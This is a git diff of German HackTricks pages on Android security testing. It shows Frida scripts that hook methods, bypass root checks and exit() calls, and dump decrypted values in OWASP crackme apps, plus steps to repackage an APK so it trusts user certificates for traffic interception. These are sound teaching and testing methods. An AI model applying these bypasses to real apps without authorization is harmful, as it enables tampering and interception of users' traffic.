@ -56,7 +57,7 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
**Von**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Teile 2, 3 & 4)\
**APKs und Quellcode**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**Folgen Sie dem [Link, um es zu lesen](frida-tutorial-2.md).**
**Folgen Sie dem [Link, um es zu lesen.](frida-tutorial-2.md)**
### [Tutorial 3](owaspuncrackable-1.md)
@ -65,11 +66,11 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
**Folgen Sie dem [Link, um es zu lesen](owaspuncrackable-1.md).**
**Weitere großartige Frida-Skripte finden Sie hier:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
**Sie finden hier weitere großartige Frida-Skripte:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
## Schnellbeispiele
## Quick Examples
### Frida von der Befehlszeile aufrufen
### Frida von der Kommandozeile aufrufen
```bash
frida-ps -U
@ -83,70 +84,6 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1
#continue execution with our modified code.
```
### Grundlegendes Python-Skript
```python
import frida
# Connect to the USB device
device = frida.get_usb_device()
# Attach to the target process
pid = device.spawn(["com.example.app"])
session = device.attach(pid)
# Load the JavaScript code
with open("script.js", "r") as file:
script_code = file.read()
# Create the script
script = session.create_script(script_code)
# Load the script into the target process
script.load()
# Resume the target process
device.resume(pid)
# Keep the script running
input("Press Enter to stop...")
# Clean up
session.detach()
device.kill(pid)
```
Dieses Python-Skript stellt eine grundlegende Vorlage dar.
```python
import frida
# Verbindung zum USB-Gerät herstellen
device = frida.get_usb_device()
# An die Zielprozess anhängen
pid = device.spawn(["com.example.app"])
session = device.attach(pid)
# JavaScript-Code laden
with open("script.js", "r") as file:
script_code = file.read()
# Skript erstellen
script = session.create_script(script_code)
# Skript in den Zielprozess laden
script.load()
# Zielprozess fortsetzen
device.resume(pid)
# Skript am Laufen halten
input("Drücken Sie Enter, um anzuhalten...")
# Aufräumen
session.detach()
device.kill(pid)
```
```python
import frida, sys
@ -157,9 +94,9 @@ print('[ * ] Running Frida Demo application')
script.load()
sys.stdin.read()
```
### Hooking von Funktionen ohne Parameter
### Funktionen ohne Parameter hooken
Hooken Sie die Funktion `a()` der Klasse `sg.vantagepoint.a.c`
Hook die Funktion `a()` der Klasse `sg.vantagepoint.a.c`
```javascript
Java.perform(function () {
; rootcheck1.a.overload().implementation = function() {
@ -169,152 +106,14 @@ return false;
};
});
```
# Frida Tutorial: Hooking `exit()` in Java
In this tutorial, we will learn how to hook the `exit()` function in Java using Frida. By hooking this function, we can intercept and modify the behavior of the application when it tries to exit.
## Prerequisites
Before we begin, make sure you have the following:
- A rooted Android device or an emulator
- Frida installed on your machine
- Basic knowledge of JavaScript and Java
## Steps
1. Start by creating a new JavaScript file, for example `hook_exit.js`, and open it in a text editor.
2. Import the necessary Frida modules:
```javascript
const { Java } = require('frida');
```
3. Attach to the target process:
```javascript
Java.perform(function () {
// Your code here
});
```
4. Find the class and method that contains the `exit()` function. You can use the `Java.use()` function to get a reference to the class:
```javascript
const System = Java.use('java.lang.System');
```
5. Hook the `exit()` method and modify its behavior:
```javascript
System.exit.implementation = function (code) {
console.log('Exit code:', code);
// Modify the behavior here
};
```
6. Save the JavaScript file.
7. Launch the target application on your Android device or emulator.
8. Open a terminal and navigate to the directory where the JavaScript file is located.
9. Use the following command to start the Frida server:
```bash
frida-server -D
```
10. Use the following command to attach Frida to the target process:
```bash
frida -U -l hook_exit.js <package_name>
```
Replace `<package_name>` with the package name of the target application.
11. You should see the output from the `console.log()` statement when the `exit()` function is called.
12. Modify the behavior of the `exit()` function as desired.
13. Test the modified behavior by triggering the application to exit.
## Conclusion
By hooking the `exit()` function in Java using Frida, we can intercept and modify the behavior of the application when it tries to exit. This technique can be useful for various purposes, such as bypassing certain checks or adding additional functionality to the application.
Hook java `exit()`
```javascript
var sysexit = Java.use("java.lang.System");
sysexit.exit.overload("int").implementation = function(var_0) {
send("java.lang.System.exit(I)V // We avoid exiting the application :)");
};
```
# Frida Tutorial: Hook MainActivity `.onStart()` & `.onCreate()`
In this tutorial, we will learn how to hook the `.onStart()` and `.onCreate()` methods of the MainActivity class in an Android app using Frida.
## Prerequisites
Before we begin, make sure you have the following:
- A rooted Android device or an emulator
- Frida installed on your machine
- Basic knowledge of JavaScript and Android app development
## Step 1: Set Up the Environment
First, we need to set up our environment. Follow these steps:
1. Connect your Android device to your machine or start the emulator.
2. Install the target app on your device or emulator.
## Step 2: Write the Frida Script
Next, we will write the Frida script to hook the `.onStart()` and `.onCreate()` methods. Open your favorite text editor and create a new file called `hook.js`. Copy and paste the following code into the file:
```javascript
Java.perform(function() {
var MainActivity = Java.use('com.example.app.MainActivity');
MainActivity.onStart.implementation = function() {
console.log('MainActivity.onStart() hooked');
this.onStart();
};
MainActivity.onCreate.implementation = function() {
console.log('MainActivity.onCreate() hooked');
this.onCreate();
};
});
```
## Step 3: Run the Frida Script
Now, we will run the Frida script to hook the methods. Follow these steps:
1. Open a terminal and navigate to the directory where the `hook.js` file is located.
2. Run the following command to start the Frida server:
```
frida-server
```
3. In another terminal, run the following command to attach Frida to the target app:
```
frida -U -l hook.js com.example.app
```
Replace `com.example.app` with the package name of the target app.
## Step 4: Test the Hook
Finally, we will test the hook by launching the target app. Follow these steps:
1. Launch the target app on your device or emulator.
2. Check the logs in the terminal where you ran the Frida script. You should see the messages `MainActivity.onStart() hooked` and `MainActivity.onCreate() hooked`.
Congratulations! You have successfully hooked the `.onStart()` and `.onCreate()` methods of the MainActivity class using Frida. You can now modify the behavior of these methods or perform any other actions you desire. Happy hacking!
Hook MainActivity `.onStart()` & `.onCreate()`
```javascript
var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity");
mainactivity.onStart.overload().implementation = function() {
@ -326,53 +125,7 @@ send("MainActivity.onCreate() HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
# Frida Tutorial: Hook android `.onCreate()`
In diesem Tutorial lernen Sie, wie Sie die `.onCreate()`-Methode in einer Android-App mit Frida abfangen können. Die `.onCreate()`-Methode wird normalerweise verwendet, um eine Aktivität zu initialisieren, wenn sie erstellt wird.
## Voraussetzungen
Um dieses Tutorial durchzuführen, benötigen Sie Folgendes:
- Ein Android-Gerät oder einen Emulator
- Frida-Server auf dem Gerät oder Emulator installiert
- Frida-Client auf Ihrem Computer installiert
## Schritt 1: Frida-Server starten
Starten Sie den Frida-Server auf Ihrem Android-Gerät oder Emulator. Stellen Sie sicher, dass der Server erfolgreich gestartet wurde, bevor Sie mit dem nächsten Schritt fortfahren.
## Schritt 2: Frida-Skript erstellen
Erstellen Sie ein Frida-Skript mit dem Namen `hook_oncreate.js` und fügen Sie den folgenden Code ein:
```javascript
Java.perform(function() {
var Activity = Java.use('android.app.Activity');
Activity.onCreate.implementation = function(savedInstanceState) {
console.log('onCreate() wurde abgefangen');
this.onCreate(savedInstanceState);
};
});
```
Dieses Skript verwendet die Frida-API, um die `.onCreate()`-Methode der `Activity`-Klasse abzufangen. Wenn die Methode aufgerufen wird, wird eine Meldung in der Konsole ausgegeben und die ursprüngliche Methode wird weiterhin aufgerufen.
## Schritt 3: Frida-Skript ausführen
Führen Sie das Frida-Skript mit dem folgenden Befehl aus:
```bash
frida -U -l hook_oncreate.js <package_name>
```
Ersetzen Sie `<package_name>` durch den Paketnamen der App, in der Sie die `.onCreate()`-Methode abfangen möchten.
## Schritt 4: Ergebnisse überprüfen
Öffnen Sie die App auf Ihrem Android-Gerät oder Emulator. Wenn die `.onCreate()`-Methode aufgerufen wird, sehen Sie die Meldung "onCreate() wurde abgefangen" in der Konsole.
Herzlichen Glückwunsch! Sie haben erfolgreich die `.onCreate()`-Methode in einer Android-App mit Frida abgefangen. Sie können diese Technik verwenden, um den App-Initialisierungsprozess zu überwachen und möglicherweise Angriffspunkte zu identifizieren.
Hook android `.onCreate()`
```javascript
var activity = Java.use("android.app.Activity");
activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) {
@ -380,9 +133,9 @@ send("Activity HIT!!!");
var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0);
};
```
### Hooking von Funktionen mit Parametern und Abrufen des Werts
### Funktionen mit Parametern hooken und den Wert abrufen
Hooking einer Entschlüsselungsfunktion. Drucken Sie die Eingabe, rufen Sie die ursprüngliche Funktion auf, entschlüsseln Sie die Eingabe und drucken Sie schließlich die Klardaten:
Hooken einer Entschlüsselungsfunktion. Drucken Sie die Eingabe, rufen Sie die ursprüngliche Funktion auf, um die Eingabe zu entschlüsseln, und drucken Sie schließlich die unverschlüsselten Daten:
```javascript
function getString(data){
var ret = "";
@ -407,9 +160,9 @@ send("Decrypted flag: " + flag);
return ret; //[B
};
```
### Hooking Funktionen und Aufrufen mit unserer Eingabe
### Funktionen hooken und sie mit unserem Input aufrufen
Haken Sie eine Funktion, die einen String empfängt, und rufen Sie sie mit einem anderen String auf (von [hier](https://11x256.github.io/Frida-hooking-android-part-2/)).
Hooken Sie eine Funktion, die einen String empfängt, und rufen Sie sie mit einem anderen String auf (von [hier](https://11x256.github.io/Frida-hooking-android-part-2/))
```javascript
var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class
@ -421,11 +174,11 @@ console.log("Return value: "+ret);
return ret;
};
```
### Abrufen eines bereits erstellten Objekts einer Klasse
### Zugriff auf ein bereits erstelltes Objekt einer Klasse
Wenn Sie ein Attribut eines erstellten Objekts extrahieren möchten, können Sie dies verwenden.
In diesem Beispiel sehen Sie, wie Sie das Objekt der Klasse my\_activity abrufen und die Funktion .secret() aufrufen, die ein privates Attribut des Objekts ausgibt:
In diesem Beispiel sehen Sie, wie Sie das Objekt der Klasse my\_activity erhalten und wie Sie die Funktion .secret() aufrufen, die ein privates Attribut des Objekts ausgibt:
```javascript
Java.choose("com.example.a11x256.frida_test.my_activity" , {
onMatch : function(instance){ //This function will be called for every instance found by frida
@ -435,29 +188,30 @@ console.log("Result of secret func: " + instance.secret());
onComplete:function(){}
});
```
## Weitere Frida-Tutorials
## Andere Frida-Tutorials
* [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
* [Teil 1 der Blog-Serie zur fortgeschrittenen Verwendung von Frida: IOS-Verschlüsselungsbibliotheken](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
* [Teil 1 der Blogreihe zu fortgeschrittenem Frida-Gebrauch: IOS-Verschlüsselungsbibliotheken](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**Bug-Bounty-Tipp**: **Registriere dich** bei **Intigriti**, einer erstklassigen **Bug-Bounty-Plattform, die von Hackern für Hacker entwickelt wurde**! Werde noch heute Mitglied unter [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) und verdiene Prämien von bis zu **$100.000**!
**Bug-Bounty-Tipp**: **Melden Sie sich an** für **Intigriti**, eine Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) heute bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lerne AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Weitere Möglichkeiten, HackTricks zu unterstützen:
* Wenn du dein **Unternehmen in HackTricks bewerben möchtest** oder **HackTricks als PDF herunterladen möchtest**, schau dir die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop) an!
* Hol dir das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecke [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Trete der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) **bei oder folge** uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teile deine Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) **und** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **GitHub-Repos sendest.**
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>
{% endhint %}

View file

@ -1,31 +1,33 @@
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
</details>
**Werfen Sie einen Blick auf: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
**Sieh dir an: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View file

@ -1,16 +1,17 @@
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstütze HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}
**Try Hard Security Group**
@ -20,19 +21,19 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
***
Einige Anwendungen akzeptieren keine vom Benutzer heruntergeladenen Zertifikate. Um den Webverkehr für einige Apps zu überprüfen, müssen wir tatsächlich die Anwendung dekompilieren, einige Dinge hinzufügen und sie neu kompilieren.
Einige Anwendungen mögen keine vom Benutzer heruntergeladenen Zertifikate, daher müssen wir, um den Webverkehr für einige Apps zu inspizieren, die Anwendung tatsächlich dekompilieren, ein paar Dinge hinzufügen und sie neu kompilieren.
# Automatisch
Das Tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) wird die erforderlichen Änderungen an der Anwendung automatisch vornehmen, um die Anfragen zu erfassen, und auch die Zertifikats-Pinning deaktivieren (falls vorhanden).
Das Tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) wird **automatisch** die notwendigen Änderungen an der Anwendung vornehmen, um die Anfragen zu erfassen, und wird auch das Zertifikat-Pinning deaktivieren (falls vorhanden).
# Manuell
Zuerst dekompilieren wir die App: `apktool d *Dateiname*.apk`
Zuerst dekompilieren wir die App: `apktool d *dateiname*.apk`
![](../../.gitbook/assets/img9.png)
Dann gehen wir zur **Manifest.xml**-Datei und scrollen zum `<\application android>`-Tag. Dort fügen wir die folgende Zeile hinzu, wenn sie noch nicht vorhanden ist:
Dann gehen wir in die **Manifest.xml**-Datei und scrollen zum `<\application android>`-Tag und fügen die folgende Zeile hinzu, falls sie noch nicht vorhanden ist:
`android:networkSecurityConfig="@xml/network_security_config`
@ -44,7 +45,7 @@ Nach dem Hinzufügen:
![](../../.gitbook/assets/img11.png)
Gehen Sie nun in den **res/xml**-Ordner und erstellen/bearbeiten Sie eine Datei namens network\_security\_config.xml mit folgendem Inhalt:
Jetzt gehen wir in den **res/xml**-Ordner und erstellen/modifizieren eine Datei namens network\_security\_config.xml mit folgendem Inhalt:
```markup
<network-security-config>
<base-config>
@ -57,11 +58,11 @@ Gehen Sie nun in den **res/xml**-Ordner und erstellen/bearbeiten Sie eine Datei
</base-config>
</network-security-config>
```
Dann speichern Sie die Datei und gehen Sie aus allen Verzeichnissen heraus und erstellen Sie die APK mit dem folgenden Befehl neu: `apktool b *Ordnername/* -o *Ausgabedatei.apk*`
Dann speichern Sie die Datei, gehen Sie aus allen Verzeichnissen heraus und bauen Sie die apk mit dem folgenden Befehl neu: `apktool b *folder-name/* -o *output-file.apk*`
![](../../.gitbook/assets/img12.png)
Zuletzt müssen Sie nur die **neue Anwendung signieren**. [Lesen Sie diesen Abschnitt der Seite Smali - Decompiling/\[Modifying\]/Compiling, um zu erfahren, wie Sie sie signieren](smali-changes.md#sing-the-new-apk).
Schließlich müssen Sie nur noch **die neue Anwendung signieren**. [Lesen Sie diesen Abschnitt der Seite Smali - Decompiling/\[Modifying\]/Compiling, um zu erfahren, wie Sie sie signieren](smali-changes.md#sing-the-new-apk).
<details>
@ -75,10 +76,10 @@ Zuletzt müssen Sie nur die **neue Anwendung signieren**. [Lesen Sie diesen Absc
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Wenn Sie möchten, dass Ihre **Firma in HackTricks beworben wird** oder **HackTricks im PDF-Format herunterladen** möchten, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich die [**offiziellen PEASS & HackTricks Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
</details>

View file

@ -1,64 +1,50 @@
{% hint style="success" %}
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Unterstützen Sie HackTricks</summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Hacking-Tricks, indem Sie PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichen.
</details>
{% endhint %}
## Manuelle **De-Obfuscationstechniken**
## Manuelle **Deobfuskationstechniken**
Im Bereich der **Software-Sicherheit** ist der Prozess des Verständlichmachens von verschleiertem Code, bekannt als **De-Obfuscation**, entscheidend. Dieser Leitfaden geht auf verschiedene Strategien zur De-Obfuscation ein, wobei der Schwerpunkt auf statischen Analysetechniken und der Erkennung von Obfuscation-Mustern liegt. Darüber hinaus stellt er eine Übung zur praktischen Anwendung vor und schlägt weitere Ressourcen für diejenigen vor, die sich für fortgeschrittenere Themen interessieren.
Im Bereich der **Software-Sicherheit** ist der Prozess, obfuskierten Code verständlich zu machen, bekannt als **Deobfuskation**, entscheidend. Dieser Leitfaden behandelt verschiedene Strategien zur Deobfuskation, wobei der Schwerpunkt auf statischen Analysetechniken und der Erkennung von Obfuskationsmustern liegt. Darüber hinaus wird eine Übung zur praktischen Anwendung vorgestellt und weitere Ressourcen für Interessierte an fortgeschritteneren Themen vorgeschlagen.
### Strategien für die statische De-Obfuscation
### **Strategien für statische Deobfuskation**
Bei der Bearbeitung von **verschleiertem Code** können je nach Art der Verschleierung verschiedene Strategien angewendet werden:
Beim Umgang mit **obfuskiertem Code** können je nach Art der Obfuskation mehrere Strategien angewendet werden:
- **DEX-Bytecode (Java)**: Ein effektiver Ansatz besteht darin, die De-Obfuscation-Methoden der Anwendung zu identifizieren und diese Methoden in einer Java-Datei zu replizieren. Diese Datei wird ausgeführt, um die Verschleierungseffekte auf den Zielobjekten umzukehren.
